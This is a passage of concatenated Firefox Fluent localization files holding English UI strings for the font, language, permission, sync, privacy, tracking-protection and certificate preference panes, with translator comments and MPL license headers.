 .label = Khmer\nfonts-langgroup-korean =\n    .label = Korean\n# Translate \"Latin\" as the name of Latin (Roman) script, not as the name of the Latin language.\nfonts-langgroup-latin =\n    .label = Latin\nfonts-langgroup-malayalam =\n    .label = Malayalam\nfonts-langgroup-math =\n    .label = Mathematics\nfonts-langgroup-odia =\n    .label = Odia\nfonts-langgroup-sinhala =\n    .label = Sinhala\nfonts-langgroup-tamil =\n    .label = Tamil\nfonts-langgroup-telugu =\n    .label = Telugu\nfonts-langgroup-thai =\n    .label = Thai\nfonts-langgroup-tibetan =\n    .label = Tibetan\nfonts-langgroup-canadian =\n    .label = Unified Canadian Syllabary\nfonts-langgroup-other =\n    .label = Other Writing Systems\n\n## Default fonts and their sizes\n\nfonts-proportional-header = Proportional\n    .accesskey = P\n\nfonts-default-serif =\n    .label = Serif\nfonts-default-sans-serif =\n    .label = Sans Serif\n\nfonts-proportional-size = Size\n    .accesskey = z\n\nfonts-serif = Serif\n    .accesskey = S\n\nfonts-sans-serif = Sans-serif\n    .accesskey = n\n\nfonts-monospace = Monospace\n    .accesskey = M\n\nfonts-monospace-size = Size\n    .accesskey = e\n\nfonts-minsize = Minimum font size\n    .accesskey = o\n\nfonts-minsize-none =\n    .label = None\n\nfonts-allow-own =\n    .label = Allow pages to choose their own fonts, instead of your selections above\n    .accesskey = A\n\n## Text Encodings\n##\n## Translate the encoding names as adjectives for an encoding, not as the name\n## of the language.\n\nfonts-languages-fallback-header = Text Encoding for Legacy Content\nfonts-languages-fallback-desc = This text encoding is used for legacy content that fails to declare its encoding.\n\nfonts-languages-fallback-label = Fallback Text Encoding\n    .accesskey = T\n\nfonts-languages-fallback-name-auto =\n    .label = Default for Current Locale\nfonts-languages-fallback-name-arabic =\n    .label = Arabic\nfonts-languages-fallback-name-baltic =\n    .label = Baltic\nfonts-languages-fallback-name-ceiso =\n    .label = Central European, ISO\nfonts-languages-fallback-name-cewindows =\n    .label = Central European, Microsoft\nfonts-languages-fallback-name-simplified =\n    .label = Chinese, Simplified\nfonts-languages-fallback-name-traditional =\n    .label = Chinese, Traditional\nfonts-languages-fallback-name-cyrillic =\n    .label = Cyrillic\nfonts-languages-fallback-name-greek =\n    .label = Greek\nfonts-languages-fallback-name-hebrew =\n    .label = Hebrew\nfonts-languages-fallback-name-japanese =\n    .label = Japanese\nfonts-languages-fallback-name-korean =\n    .label = Korean\nfonts-languages-fallback-name-thai =\n    .label = Thai\nfonts-languages-fallback-name-turkish =\n    .label = Turkish\nfonts-languages-fallback-name-vietnamese =\n    .label = Vietnamese\nfonts-languages-fallback-name-other =\n    .label = Other (incl. Western European)\n# This Source Code Form is subject to the terms of the Mozilla Public\n# License, v. 2.0. If a copy of the MPL was not distributed with this\n# file, You can obtain one at http://mozilla.org/MPL/2.0/.\n\nlanguages-window =\n    .title = Languages\n    .style = width: 30em\n\nlanguages-close-key =\n    .key = w\n\nlanguages-description = Web pages are sometimes offered in more than one language. Choose languages for displaying these web pages, in order of preference\n\nlanguages-customize-spoof-english =\n    .label = Request English versions of web pages for enhanced privacy\n\nlanguages-customize-moveup =\n    .label = Move Up\n    .accesskey = U\n\nlanguages-customize-movedown =\n    .label = Move Down\n    .accesskey = D\n\nlanguages-customize-remove =\n    .label = Remove\n    .accesskey = R\n\nlanguages-customize-select-language =\n    .placeholder = Select a language to add…\n\nlanguages-customize-add =\n    .label = Add\n    .accesskey = A\n# Variables:\n#   $num - default value of the `dom.ipc.processCount` pref.\ndefault-content-process-count\n    .label = { $num } (default)\n# This Source Code Form is subject to the terms of the Mozilla Public\n# License, v. 2.0. If a copy of the MPL was not distributed with this\n# file, You can obtain one at http://mozilla.org/MPL/2.0/.\n\npermissions-window =\n    .title = Exceptions\n    .style = width: 45em\n\npermissions-close-key =\n    .key = w\n\npermissions-address = Address of website\n    .accesskey = d\n\npermissions-block =\n    .label = Block\n    .accesskey = B\n\npermissions-session =\n    .label = Allow for Session\n    .accesskey = S\n\npermissions-allow =\n    .label = Allow\n    .accesskey = A\n\npermissions-site-name =\n    .label = Website\n\npermissions-status =\n    .label = Status\n\npermissions-remove =\n    .label = Remove Website\n    .accesskey = R\n\npermissions-remove-all =\n    .label = Remove All Websites\n    .accesskey = e\n\npermissions-button-cancel =\n    .label = Cancel\n    .accesskey = C\n\npermissions-button-ok =\n    .label = Save Changes\n    .accesskey = S\n\npermissions-searchbox =\n    .placeholder = Search Website\n# This Source Code Form is subject to the terms of the Mozilla Public\n# License, v. 2.0. If a copy of the MPL was not distributed with this\n# file, You can obtain one at http://mozilla.org/MPL/2.0/.\n\ndo-not-track-description = Send websites a “Do Not Track” signal that you don’t want to be tracked\ndo-not-track-learn-more = Learn more\ndo-not-track-option-default =\n    .label = Only when using Tracking Protection\ndo-not-track-option-always =\n    .label = Always\n\npref-page =\n    .title =\n        { PLATFORM() ->\n            [windows] Options\n           *[other] Preferences\n        }\n\n# This is used to determine the width of the search field in about:preferences,\n# in order to make the entire placeholder string visible\n#\n# Notice: The value of the `.style` attribute is a CSS string, and the `width`\n# is the name of the CSS property. It is intended only to adjust the element's width.\n# Do not translate.\nsearch-input =\n    .style = width: 15.4em\n\n# This is used to determine the width of the search field in about:preferences,\n# in order to make the entire placeholder string visible\n#\n# Please keep the placeholder string short to avoid truncation.\n#\n# Notice: The value of the `.style` attribute is a CSS string, and the `width`\n# is the name of the CSS property. It is intended only to adjust the element's width.\n# Do not translate.\nsearch-input-box =\n    .style = width: 15.4em\n    .placeholder =\n        { PLATFORM() ->\n            [windows] Find in Options\n           *[other] Find in Preferences\n        }\n\npolicies-notice =\n    { PLATFORM() ->\n        [windows] Your organization has disabled the ability to change some options.\n       *[other] Your organization has disabled the ability to change some preferences.\n    }\n\npane-general-title = General\ncategory-general =\n    .tooltiptext = { pane-general-title }\n\npane-home-title = Home\ncategory-home =\n    .tooltiptext = { pane-home-title }\n\npane-search-title = Search\ncategory-search =\n    .tooltiptext = { pane-search-title }\n\npane-privacy-title = Privacy & Security\ncategory-privacy =\n    .tooltiptext = { pane-privacy-title }\n\n# The word \"account\" can be translated, do not translate or transliterate \"Firefox\".\npane-sync-title = Firefox Account\ncategory-sync =\n    .tooltiptext = { pane-sync-title }\n\nhelp-button-label = { -brand-short-name } Support\n\nfocus-search =\n    .key = f\n\nclose-button =\n    .aria-label = Close\n\n## Browser Restart Dialog\n\nfeature-enable-requires-restart = { -brand-short-name } must restart to enable this feature.\nfeature-disable-requires-restart = { -brand-short-name } must restart to disable this feature.\nshould-restart-title = Restart { -brand-short-name }\nshould-restart-ok = Restart { -brand-short-name } now\ncancel-no-restart-button = Cancel\nrestart-later = Restart Later\n\n## Extension Control Notifications\n##\n## These strings are used to inform the user\n## about changes made by extensions to browser settings.\n##\n## <img data-l10n-name=\"icon\"/> is going to be replaced by the extension icon.\n##\n## Variables:\n##   $name (String): name of the extension\n\n# This string is shown to notify the user that their home page\n# is being controlled by an extension.\nextension-controlled-homepage-override = An extension, <img data-l10n-name=\"icon\"/> { $name }, is controlling your home page.\n\n# This string is shown to notify the user that their new tab page\n# is being controlled by an extension.\nextension-controlled-new-tab-url = An extension, <img data-l10n-name=\"icon\"/> { $name }, is controlling your New Tab page.\n\n# This string is shown to notify the user that the default search engine\n# is being controlled by an extension.\nextension-controlled-default-search = An extension, <img data-l10n-name=\"icon\"/> { $name }, has set your default search engine.\n\n# This string is shown to notify the user that Container Tabs\n# are being enabled by an extension.\nextension-controlled-privacy-containers = An extension, <img data-l10n-name=\"icon\"/> { $name }, requires Container Tabs.\n\n# This string is shown to notify the user that their tracking protection preferences\n# are being controlled by an extension.\nextension-controlled-websites-tracking-protection-mode = An extension, <img data-l10n-name=\"icon\"/> { $name }, is controlling tracking protection.\n\n# This string is shown to notify the user that their proxy configuration preferences\n# are being controlled by an extension.\nextension-controlled-proxy-config = An extension, <img data-l10n-name=\"icon\"/> { $name }, is controlling how { -brand-short-name } connects to the internet.\n\n# This string is shown after the user disables an extension to notify the user\n# how to enable an extension that they disabled.\n#\n# <img data-l10n-name=\"addons-icon\"/> will be replaced with Add-ons icon\n# <img data-l10n-name=\"menu-icon\"/> will be replaced with Menu icon\nextension-controlled-enable = To enable the extension go to <img data-l10n-name=\"addons-icon\"/> Add-ons in the <img data-l10n-name=\"menu-icon\"/> menu.\n\n## Preferences UI Search Results\n\nsearch-results-header = Search Results\n\n# `<span data-l10n-name=\"query\"></span>` will be replaced by the search term.\nsearch-results-empty-message =\n    { PLATFORM() ->\n        [windows] Sorry! There are no results in Options for “<span data-l10n-name=\"query\"></span>”.\n       *[other] Sorry! There are no results in Preferences for “<span data-l10n-name=\"query\"></span>”.\n    }\n\nsearch-results-help-link = Need help? Visit <a data-l10n-name=\"url\">{ -brand-short-name } Support</a>\n\n## General Section\n\nstartup-header = Startup\n\n# { -brand-short-name } will be 'Firefox Developer Edition',\n# since this setting is only exposed in Firefox Developer Edition\nseparate-profile-mode =\n    .label = Allow { -brand-short-name } and Firefox to run at the same time\nuse-firefox-sync = Tip: This uses separate profiles. Use { -sync-brand-short-name } to share data between them.\nget-started-not-logged-in = Sign in to { -sync-brand-short-name }…\nget-started-configured = Open { -sync-brand-short-name } preferences\n\nalways-check-default =\n    .label = Always check if { -brand-short-name } is your default browser\n    .accesskey = y\n\nis-default = { -brand-short-name } is currently your default browser\nis-not-default = { -brand-short-name } is not your default browser\n\nset-as-my-default-browser =\n    .label = Make Default…\n    .accesskey = D\n\nstartup-page = When { -brand-short-name } starts\n    .accesskey = s\n\nstartup-user-homepage =\n    .label = Show your home page\nstartup-blank-page =\n    .label = Show a blank page\nstartup-prev-session =\n    .label = Show your windows and tabs from last time\n\nstartup-restore-previous-session =\n    .label = Restore previous session\n    .accesskey = s\n\ndisable-extension =\n    .label = Disable Extension\n\nhome-page-header = Home page\n\ntabs-group-header = Tabs\n\nctrl-tab-recently-used-order =\n    .label = Ctrl+Tab cycles through tabs in recently used order\n    .accesskey = T\n\nopen-new-link-as-tabs =\n    .label = Open links in tabs instead of new windows\n    .accesskey = w\n\nwarn-on-close-multiple-tabs =\n    .label = Warn you when closing multiple tabs\n    .accesskey = m\n\nwarn-on-open-many-tabs =\n    .label = Warn you when opening multiple tabs might slow down { -brand-short-name }\n    .accesskey = d\n\nswitch-links-to-new-tabs =\n    .label = When you open a link in a new tab, switch to it immediately\n    .accesskey = h\n\nshow-tabs-in-taskbar =\n    .label = Show tab previews in the Windows taskbar\n    .accesskey = k\n\nbrowser-containers-enabled =\n    .label = Enable Container Tabs\n    .accesskey = n\n\nbrowser-containers-learn-more = Learn more\n\nbrowser-containers-settings =\n    .label = Settings…\n    .accesskey = i\n\ncontainers-disable-alert-title = Close All Container Tabs?\ncontainers-disable-alert-desc =\n    { $tabCount ->\n        [one] If you disable Container Tabs now, { $tabCount } container tab will be closed. Are you sure you want to disable Container Tabs?\n       *[other] If you disable Container Tabs now, { $tabCount } container tabs will be closed. Are you sure you want to disable Container Tabs?\n    }\n\ncontainers-disable-alert-ok-button =\n    { $tabCount ->\n        [one] Close { $tabCount } Container Tab\n       *[other] Close { $tabCount } Container Tabs\n    }\ncontainers-disable-alert-cancel-button = Keep enabled\n\ncontainers-remove-alert-title = Remove This Container?\n\n# Variables:\n#   $count (Number) - Number of tabs that will be closed.\ncontainers-remove-alert-msg =\n    { $count ->\n        [one] If you remove this Container now, { $count } container tab will be closed. Are you sure you want to remove this Container?\n       *[other] If you remove this Container now, { $count } container tabs will be closed. Are you sure you want to remove this Container?\n    }\n\ncontainers-remove-ok-button = Remove this Container\ncontainers-remove-cancel-button = Don’t remove this Container\n\n\n## General Section - Language & Appearance\n\nlanguage-and-appearance-header = Language and Appearance\n\nfonts-and-colors-header = Fonts & Colors\n\ndefault-font = Default font\n    .accesskey = D\ndefault-font-size = Size\n    .accesskey = S\n\nadvanced-fonts =\n    .label = Advanced…\n    .accesskey = A\n\ncolors-settings =\n    .label = Colors…\n    .accesskey = C\n\nlanguage-header = Language\n\nchoose-language-description = Choose your preferred language for displaying pages\n\nchoose-button =\n    .label = Choose…\n    .accesskey = o\n\ntranslate-web-pages =\n    .label = Translate web content\n    .accesskey = T\n\n# The <img> element is replaced by the logo of the provider\n# used to provide machine translations for web pages.\ntranslate-attribution = Translations by <img data-l10n-name=\"logo\"/>\n\ntranslate-exceptions =\n    .label = Exceptions…\n    .accesskey = x\n\ncheck-user-spelling =\n    .label = Check your spelling as you type\n    .accesskey = t\n\n## General Section - Files and Applications\n\nfiles-and-applications-title = Files and Applications\n\ndownload-header = Downloads\n\ndownload-save-to =\n    .label = Save files to\n    .accesskey = v\n\ndownload-choose-folder =\n    .label =\n        { PLATFORM() ->\n            [macos] Choose…\n           *[other] Browse…\n        }\n    .accesskey =\n        { PLATFORM() ->\n            [macos] e\n           *[other] o\n        }\n\ndownload-always-ask-where =\n    .label = Always ask you where to save files\n    .accesskey = A\n\napplications-header = Applications\n\napplications-description = Choose how { -brand-short-name } handles the files you download from the web or the applications you use while browsing.\n\napplications-filter =\n    .placeholder = Search file types or applications\n\napplications-type-column =\n    .label = Content Type\n    .accesskey = T\n\napplications-action-column =\n    .label = Action\n    .accesskey = A\n\ndrm-content-header = Digital Rights Management (DRM) Content\n\nplay-drm-content =\n    .label = Play DRM-controlled content\n    .accesskey = P\n\nplay-drm-content-learn-more = Learn more\n\nupdate-application-title = { -brand-short-name } Updates\n\nupdate-application-description = Keep { -brand-short-name } up to date for the best performance, stability, and security.\n\nupdate-application-info = Version { $version } <a>What's new</a>\n\nupdate-application-version = Version { $version } <a data-l10n-name=\"learn-more\">What’s new</a>\n\nupdate-history =\n    .label = Show Update History…\n    .accesskey = p\n\nupdate-application-allow-description = Allow { -brand-short-name } to\n\nupdate-application-auto =\n    .label = Automatically install updates (recommended)\n    .accesskey = A\n\nupdate-application-check-choose =\n    .label = Check for updates but let you choose to install them\n    .accesskey = C\n\nupdate-application-manual =\n    .label = Never check for updates (not recommended)\n    .accesskey = N\n\nupdate-application-use-service =\n    .label = Use a background service to install updates\n    .accesskey = b\n\nupdate-enable-search-update =\n    .label = Automatically update search engines\n    .accesskey = e\n\n## General Section - Performance\n\nperformance-title = Performance\n\nperformance-use-recommended-settings-checkbox =\n    .label = Use recommended performance settings\n    .accesskey = U\n\nperformance-use-recommended-settings-desc = These settings are tailored to your computer’s hardware and operating system.\n\nperformance-settings-learn-more = Learn more\n\nperformance-allow-hw-accel =\n    .label = Use hardware acceleration when available\n    .accesskey = r\n\nperformance-limit-content-process-option = Content process limit\n    .accesskey = l\n\nperformance-limit-content-process-enabled-desc = Additional content processes can improve performance when using multiple tabs, but will also use more memory.\nperformance-limit-content-process-disabled-desc = Modifying the number of content processes is only possible with multiprocess { -brand-short-name }. <a>Learn how to check if multiprocess is enabled</a>\n\nperformance-limit-content-process-blocked-desc = Modifying the number of content processes is only possible with multiprocess { -brand-short-name }. <a data-l10n-name=\"learn-more\">Learn how to check if multiprocess is enabled</a>\n\n# Variables:\n#   $num - default value of the `dom.ipc.processCount` pref.\nperformance-default-content-process-count =\n    .label = { $num } (default)\n\n## General Section - Browsing\n\nbrowsing-title = Browsing\n\nbrowsing-use-autoscroll =\n    .label = Use autoscrolling\n    .accesskey = a\n\nbrowsing-use-smooth-scrolling =\n    .label = Use smooth scrolling\n    .accesskey = m\n\nbrowsing-use-onscreen-keyboard =\n    .label = Show a touch keyboard when necessary\n    .accesskey = c\n\nbrowsing-use-cursor-navigation =\n    .label = Always use the cursor keys to navigate within pages\n    .accesskey = k\n\nbrowsing-search-on-start-typing =\n    .label = Search for text when you start typing\n    .accesskey = x\n\n## General Section - Proxy\n\nnetwork-proxy-title = Network Proxy\n\nnetwork-proxy-connection-description = Configure how { -brand-short-name } connects to the internet.\n\nnetwork-proxy-connection-learn-more = Learn More\n\nnetwork-proxy-connection-settings =\n    .label = Settings…\n    .accesskey = e\n\n## Home Section\n\nhome-new-windows-tabs-header = New Windows and Tabs\n\nhome-new-windows-tabs-description2 = Choose what you see when you open your homepage, new windows, and new tabs.\n\n## Home Section - Home Page Customization\n\nhome-homepage-mode-label = Homepage and new windows\n\nhome-newtabs-mode-label = New tabs\n\nhome-restore-defaults =\n    .label = Restore Defaults\n    .accesskey = R\n\n# \"Firefox\" should be treated as a brand and kept in English,\n# while \"Home\" and \"(Default)\" can be localized.\nhome-mode-choice-default =\n    .label = Firefox Home (Default)\n\nhome-mode-choice-custom =\n    .label = Custom URLs…\n\nhome-mode-choice-blank =\n    .label = Blank Page\n\nhome-homepage-custom-url =\n    .placeholder = Paste a URL…\n\n# This string has a special case for '1' and [other] (default). If necessary for\n# your language, you can add {$tabCount} to your translations and use the\n# standard CLDR forms, or only use the form for [other] if both strings should\n# be identical.\nuse-current-pages =\n    .label =\n        { $tabCount ->\n            [1] Use Current Page\n           *[other] Use Current Pages\n        }\n    .accesskey = C\n\nchoose-bookmark =\n    .label = Use Bookmark…\n    .accesskey = B\n\nrestore-default =\n    .label = Restore to Default\n    .accesskey = R\n\n## Search Section\n\nsearch-bar-header = Search Bar\nsearch-bar-hidden =\n    .label = Use the address bar for search and navigation\nsearch-bar-shown =\n    .label = Add search bar in toolbar\n\nsearch-engine-default-header = Default Search Engine\nsearch-engine-default-desc = Choose the default search engine to use in the address bar and search bar.\n\nsearch-suggestions-option =\n    .label = Provide search suggestions\n    .accesskey = s\n\nsearch-show-suggestions-url-bar-option =\n    .label = Show search suggestions in address bar results\n    .accesskey = l\n\n# This string describes what the user will observe when the system\n# prioritizes search suggestions over browsing history in the results\n# that extend down from the address bar. In the original English string,\n# \"ahead\" refers to location (appearing most proximate to), not time\n# (appearing before).\nsearch-show-suggestions-above-history-option =\n    .label = Show search suggestions ahead of browsing history in address bar results\n\nsearch-suggestions-cant-show = Search suggestions will not be shown in location bar results because you have configured { -brand-short-name } to never remember history.\n\nsearch-one-click-header = One-Click Search Engines\n\nsearch-one-click-desc = Choose the alternative search engines that appear below the address bar and search bar when you start to enter a keyword.\n\nsearch-choose-engine-column =\n    .label = Search Engine\nsearch-choose-keyword-column =\n    .label = Keyword\n\nsearch-restore-default =\n    .label = Restore Default Search Engines\n    .accesskey = D\n\nsearch-remove-engine =\n    .label = Remove\n    .accesskey = R\n\nsearch-find-more-link = Find more search engines\n\n# This warning is displayed when the chosen keyword is already in use\n# ('Duplicate' is an adjective)\nsearch-keyword-warning-title = Duplicate Keyword\n# Variables:\n#   $name (String) - Name of a search engine.\nsearch-keyword-warning-engine = You have chosen a keyword that is currently in use by “{ $name }”. Please select another.\nsearch-keyword-warning-bookmark = You have chosen a keyword that is currently in use by a bookmark. Please select another.\n\n## Containers Section\n\ncontainers-back-link = « Go Back\ncontainers-header = Container Tabs\ncontainers-add-button =\n    .label = Add New Container\n    .accesskey = A\n\ncontainers-preferences-button =\n    .label = Preferences\ncontainers-remove-button =\n    .label = Remove\n\n## Sync Section - Signed out\n\nsync-signedout-caption = Take Your Web With You\nsync-signedout-description = Synchronize your bookmarks, history, tabs, passwords, add-ons, and preferences across all your devices.\n\nsync-signedout-account-title = Connect with a { -fxaccount-brand-name }\nsync-signedout-account-create = Don’t have an account? Get started\n    .accesskey = c\n\nsync-signedout-account-signin =\n    .label = Sign In…\n    .accesskey = I\n\n# This message contains two links and two icon images.\n#   `<img data-l10n-name=\"android-icon\"/>` - Android logo icon\n#   `<a data-l10n-name=\"android-link\">` - Link to Android Download\n#   `<img data-l10n-name=\"ios-icon\">` - iOS logo icon\n#   `<a data-l10n-name=\"ios-link\">` - Link to iOS Download\n#\n# They can be moved within the sentence as needed to adapt\n# to your language, but should not be changed or translated.\nsync-mobile-promo = Download Firefox for <img data-l10n-name=\"android-icon\"/> <a data-l10n-name=\"android-link\">Android</a> or <img data-l10n-name=\"ios-icon\"/> <a data-l10n-name=\"ios-link\">iOS</a> to sync with your mobile device.\n\n## Sync Section - Signed in\n\nsync-profile-picture =\n    .tooltiptext = Change profile picture\n\nsync-disconnect =\n    .label = Disconnect…\n    .accesskey = D\n\nsync-manage-account = Manage account\n    .accesskey = o\n\nsync-signedin-unverified = { $email } is not verified.\nsync-signedin-login-failure = Please sign in to reconnect { $email }\n\nsync-resend-verification =\n    .label = Resend Verification\n    .accesskey = d\n\nsync-remove-account =\n    .label = Remove Account\n    .accesskey = R\n\nsync-sign-in =\n    .label = Sign in\n    .accesskey = g\n\nsync-signedin-settings-header = Sync Settings\nsync-signedin-settings-desc = Choose what to synchronize on your devices using { -brand-short-name }\n\nsync-engine-bookmarks =\n    .label = Bookmarks\n    .accesskey = m\n\nsync-engine-history =\n    .label = History\n    .accesskey = r\n\nsync-engine-tabs =\n    .label = Open tabs\n    .tooltiptext = A list of what’s open on all synced devices\n    .accesskey = t\n\nsync-engine-logins =\n    .label = Logins\n    .tooltiptext = Usernames and passwords you’ve saved\n    .accesskey = L\n\nsync-engine-addresses =\n    .label = Addresses\n    .tooltiptext = Postal addresses you’ve saved (desktop only)\n    .accesskey = e\n\nsync-engine-creditcards =\n    .label = Credit cards\n    .tooltiptext = Names, numbers and expiry dates (desktop only)\n    .accesskey = C\n\nsync-engine-addons =\n    .label = Add-ons\n    .tooltiptext = Extensions and themes for Firefox desktop\n    .accesskey = A\n\nsync-engine-prefs =\n    .label =\n        { PLATFORM() ->\n            [windows] Options\n           *[other] Preferences\n        }\n    .tooltiptext = General, Privacy, and Security settings you’ve changed\n    .accesskey = s\n\nsync-device-name-header = Device Name\n\nsync-device-name-change =\n    .label = Change Device Name…\n    .accesskey = h\n\nsync-device-name-cancel =\n    .label = Cancel\n    .accesskey = n\n\nsync-device-name-save =\n    .label = Save\n    .accesskey = v\n\nsync-mobilepromo-single = Connect another device\n\nsync-mobilepromo-multi = Manage devices\n\nsync-tos-link = Terms of Service\n\nsync-fxa-privacy-notice = Privacy Notice\n\n## Privacy Section\n\nprivacy-header = Browser Privacy\n\n## Privacy Section - Forms\n\nforms-header = Forms & Passwords\nforms-ask-to-save-logins =\n    .label = Ask to save logins and passwords for websites\n    .accesskey = r\nforms-exceptions =\n    .label = Exceptions…\n    .accesskey = x\nforms-saved-logins =\n    .label = Saved Logins…\n    .accesskey = L\nforms-master-pw-use =\n    .label = Use a master password\n    .accesskey = U\nforms-master-pw-change =\n    .label = Change Master Password\n    .accesskey = M\n\n## Privacy Section - History\n\nhistory-header = History\n\n# This label is followed, on the same line, by a dropdown list of options\n# (Remember history, etc.).\n# In English it visually creates a full sentence, e.g.\n# \"Firefox will\" + \"Remember history\".\n#\n# If this doesn't work for your language, you can translate this message:\n#   - Simply as \"Firefox\", moving the verb into each option.\n#     This will result in \"Firefox\" + \"Will remember history\", etc.\n#   - As a stand-alone message, for example \"Firefox history settings:\".\nhistory-remember-label = { -brand-short-name } will\n    .accesskey = w\n\nhistory-remember-option-all =\n    .label = Remember history\nhistory-remember-option-never =\n    .label = Never remember history\nhistory-remember-option-custom =\n    .label = Use custom settings for history\n\nhistory-remember-description = { -brand-short-name } will remember your browsing, download, form and search history.\nhistory-dontremember-description = { -brand-short-name } will use the same settings as private browsing, and will not remember any history as you browse the Web.\n\nhistory-private-browsing-permanent =\n    .label = Always use private browsing mode\n    .accesskey = p\n\nhistory-remember-option =\n    .label = Remember my browsing and download history\n    .accesskey = b\n\nhistory-remember-search-option =\n    .label = Remember search and form history\n    .accesskey = f\n\nhistory-clear-on-close-option =\n    .label = Clear history when { -brand-short-name } closes\n    .accesskey = r\n\nhistory-clear-on-close-settings =\n    .label = Settings…\n    .accesskey = t\n\nhistory-clear-button =\n    .label = Clear History…\n    .accesskey = s\n\n## Privacy Section - Site Data\n\nsitedata-header = Cookies and Site Data\n\nsitedata-learn-more = Learn more\n\nsitedata-accept-cookies-option =\n    .label = Accept cookies and site data from websites (recommended)\n    .accesskey = A\n\nsitedata-block-cookies-option =\n    .label = Block cookies and site data (may cause websites to break)\n    .accesskey = B\n\nsitedata-keep-until = Keep until\n    .accesskey = u\n\nsitedata-keep-until-expire =\n    .label = They expire\nsitedata-keep-until-closed =\n    .label = { -brand-short-name } is closed\n\nsitedata-accept-third-party-desc = Accept third-party cookies and site data\n    .accesskey = y\n\nsitedata-accept-third-party-always-option =\n    .label = Always\nsitedata-accept-third-party-visited-option =\n    .label = From visited\nsitedata-accept-third-party-never-option =\n    .label = Never\n\nsitedata-clear =\n    .label = Clear Data…\n    .accesskey = l\n\nsitedata-settings =\n    .label = Manage Data…\n    .accesskey = M\n\nsitedata-cookies-exceptions =\n    .label = Exceptions…\n    .accesskey = E\n\n## Privacy Section - Address Bar\n\naddressbar-header = Address Bar\n\naddressbar-suggest = When using the address bar, suggest\n\naddressbar-locbar-history-option =\n    .label = Browsing history\n    .accesskey = h\naddressbar-locbar-bookmarks-option =\n    .label = Bookmarks\n    .accesskey = k\naddressbar-locbar-openpage-option =\n    .label = Open tabs\n    .accesskey = O\n\naddressbar-suggestions-settings = Change preferences for search engine suggestions\n\n## Privacy Section - Tracking\n\ntracking-header = Tracking Protection\n\ntracking-desc = Tracking Protection blocks online trackers that collect your browsing data across multiple websites. <a data-l10n-name=\"learn-more\">Learn more about Tracking Protection and your privacy</a>\n\ntracking-mode-label = Use Tracking Protection to block known trackers\n\ntracking-mode-always =\n    .label = Always\n    .accesskey = y\ntracking-mode-private =\n    .label = Only in private windows\n    .accesskey = l\ntracking-mode-never =\n    .label = Never\n    .accesskey = N\n\n# This string is displayed if privacy.trackingprotection.ui.enabled is set to false.\n# This currently happens on the release and beta channel.\ntracking-pbm-label = Use Tracking Protection in Private Browsing to block known trackers\n    .accesskey = v\n\ntracking-exceptions =\n    .label = Exceptions…\n    .accesskey = x\n\ntracking-change-block-list =\n    .label = Change Block List…\n    .accesskey = C\n\n## Privacy Section - Permissions\n\npermissions-header = Permissions\n\npermissions-location = Location\npermissions-location-settings =\n    .label = Settings…\n    .accesskey = t\n\npermissions-camera = Camera\npermissions-camera-settings =\n    .label = Settings…\n    .accesskey = t\n\npermissions-microphone = Microphone\npermissions-microphone-settings =\n    .label = Settings…\n    .accesskey = t\n\npermissions-notification = Notifications\npermissions-notification-settings =\n    .label = Settings…\n    .accesskey = t\npermissions-notification-link = Learn more\n\npermissions-notification-pause =\n    .label = Pause notifications until { -brand-short-name } restarts\n    .accesskey = n\n\npermissions-block-popups =\n    .label = Block pop-up windows\n    .accesskey = B\n\npermissions-block-popups-exceptions =\n    .label = Exceptions…\n    .accesskey = E\n\npermissions-addon-install-warning =\n    .label = Warn you when websites try to install add-ons\n    .accesskey = W\n\npermissions-addon-exceptions =\n    .label = Exceptions…\n    .accesskey = E\n\npermissions-a11y-privacy-checkbox =\n    .label = Prevent accessibility services from accessing your browser\n    .accesskey = a\n\npermissions-a11y-privacy-link = Learn more\n\n## Privacy Section - Data Collection\n\ncollection-header = { -brand-short-name } Data Collection and Use\n\ncollection-description = We strive to provide you with choices and collect only what we need to provide and improve { -brand-short-name } for everyone. We always ask permission before receiving personal information.\ncollection-privacy-notice = Privacy Notice\n\ncollection-health-report =\n    .label = Allow { -brand-short-name } to send technical and interaction data to { -vendor-short-name }\n    .accesskey = r\ncollection-health-report-link = Learn more\n\n# This message is displayed above disabled data sharing options in developer builds\n# or builds with no Telemetry support available.\ncollection-health-report-disabled = Data reporting is disabled for this build configuration\n\ncollection-browser-errors =\n    .label = Allow { -brand-short-name } to send browser error reports (including error messages) to { -vendor-short-name }\n    .accesskey = b\ncollection-browser-errors-link = Learn more\n\ncollection-backlogged-crash-reports =\n    .label = Allow { -brand-short-name } to send backlogged crash reports on your behalf\n    .accesskey = c\ncollection-backlogged-crash-reports-link = Learn more\n\n## Privacy Section - Security\n##\n## It is important that wording follows the guidelines outlined on this page:\n## https://developers.google.com/safe-browsing/developers_guide_v2#AcceptableUsage\n\nsecurity-header = Security\n\nsecurity-browsing-protection = Deceptive Content and Dangerous Software Protection\n\nsecurity-enable-safe-browsing =\n    .label = Block dangerous and deceptive content\n    .accesskey = B\nsecurity-enable-safe-browsing-link = Learn more\n\nsecurity-block-downloads =\n    .label = Block dangerous downloads\n    .accesskey = d\n\nsecurity-block-uncommon-software =\n    .label = Warn you about unwanted and uncommon software\n    .accesskey = c\n\n## Privacy Section - Certificates\n\ncerts-header = Certificates\n\ncerts-personal-label = When a server requests your personal certificate\n\ncerts-select-auto-option =\n    .label = Select one automatically\n    .accesskey = S\n\ncerts-select-ask-option =\n    .label = Ask you every time\n    .accesskey = A\n\ncerts-enable-ocsp =\n    .label = Query OCSP responder servers to confirm the current validity of certificates\n    .accesskey = Q\n\ncerts-view =\n    .label = View Certificates…\n    .accesskey = C\n\ncerts-devices =\n    .label = Security Devices…\n    .accesskey = D\n# This Source Code Form is subject to the terms of the Mozilla Public\n# License, v. 2.0. If a copy of the MPL was not distributed with this\n# file, You can obtain one at http://mozilla.org/MPL/2.0/.\n\nselect-bookmark-window =\n    .title = Set Home Page\n    .style = width: 32em;\n\nselect-bookmark-desc = Choose a Bookmark to be your Home Page. If you choose a folder, the Bookmarks in that folder will be opened in Tabs.\n# This Source Code Form is subject to the terms of the Mozilla Public\n# License, v. 2.0. If a copy of the MPL was not distributed with this\n# file, You can obtain one at http://mozilla.org/MPL/2.0/.\n\n\n## Settings\n\nsite-data-settings-window =\n    .title = Manage Cookies and Site Data\n\nsite-data-search-textbox =\n    .placeholder = Search websites\n    .accesskey = S\n\nsite-data-column-host =\n    .label = Site\nsite-data-column-cookies =\n    .label = Cookies\nsite-data-column-storage =\n    .label = Storage\nsite-data-column-last-used =\n    .label = Last Used\n\nsite-data-remove-selected =\n    .label = Remove Selected\n    .accesskey = R\n\nsite-data-button-cancel =\n    .label = Cancel\n    .accesskey = C\n\nsite-data-button-save =\n    .label = Save Changes\n    .accesskey = a\n\n## Removing\n\nsite-data-removing-window =\n    .title = { 